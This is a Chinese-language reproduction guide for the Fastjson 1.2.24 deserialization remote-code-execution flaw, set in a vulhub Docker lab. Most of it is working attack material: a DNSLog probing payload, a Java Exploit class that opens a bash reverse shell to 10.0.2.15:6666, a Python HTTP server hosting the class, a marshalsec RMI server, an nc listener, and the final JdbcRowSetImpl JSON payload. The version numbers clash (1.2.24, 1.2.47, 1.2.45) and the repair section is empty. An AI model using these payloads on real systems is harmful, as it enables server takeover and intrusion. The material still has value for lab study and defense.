概述

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

在 1.2.24 版本的代码中,加载类名时没有对加载的类做限制,而是直接加载导致可利用 RMI 或者 LDAP 让服务器远程调用恶意类进行利用,从而在目标机器执行任意命令。

参考


  • 影响版本

  • Fastjson <= 1.2.24

    Payload

    检测是否受影响

  • lsof -X | grep fastjson

  • ps aux | grep fastjson

    漏洞复现

    搭建环境

    1. cd vulhub/fastjson/1.2.47-rce/
    2. docker-compose up -d
  • Fastjson 1.2.45

  • 访问地址:http://127.0.0.1:8090

    检测是否存在漏洞

    方法1:查看报错信息中版本号是否在影响范围
    通过 POST 方法提交数据,Content-type 设置为 application/json,提交非正常的 json 数据包,通过返回的错误信息可查看到版本号。
    image.png
    方法2:DNSLog 盲打
    通过 POST 方法提交数据,Content-type 设置为 application/json,发送以下数据包(修改 ldap://dnslog/ 地址为自己的 DNSLog 地址)
    1. {
    2. "a": {
    3. "@type": "java.lang.Class",
    4. "val": "com.sun.rowset.JdbcRowSetImpl"
    5. },
    6. "b": {
    7. "@type": "com.sun.rowset.JdbcRowSetImpl",
    8. "dataSourceName": "ldap://dnslog/",
    9. "autoCommit": true
    10. }
    11. }

    复现过程

    1)创建 Exploit.java 文件(修改以下的反弹 Shell 目标地址)
    1. public class Exploit {
    2. public Exploit(){
    3. try{
    4. Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/10.0.2.15/6666 0>&1");
    5. }catch(Exception e){
    6. e.printStackTrace();
    7. }
    8. }
    9. public static void main(String[] argv){
    10. Exploit e = new Exploit();
    11. }
    12. }
    2)编译 Exploit.java 生成 Exploit.class 文件
    1. javac Exploit.java
    3)使用 Python 创建临时 HTTP 服务,将 Exploit.class 放到当前目录下(在目标机器可访问的服务器上执行) ```shell python3 -m http.server 6969

测试访问,在目标机器执行以下命令,返回状态码 200 即可

curl -I http://10.0.2.15:6969/Exploit.class

  1. 4)使用 marshalsec 开启 RMI 服务(在目标机器可访问的服务器上执行)
  2. ```shell
  3. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.0.2.15:6969/#Exploit" 6799

5)在攻击机(第一步指定的地址)监听 6666 端口

  1. nc -lvvp 6666

6)通过 BurpSuite 发送以下 POST 数据包即可成功反弹 Shell

  1. {
  2. "b": {
  3. "@type": "com.sun.rowset.JdbcRowSetImpl",
  4. "dataSourceName": "rmi://10.0.2.15:6799/#Exploit",
  5. "autoCommit": true
  6. }
  7. }

image.png

漏洞修复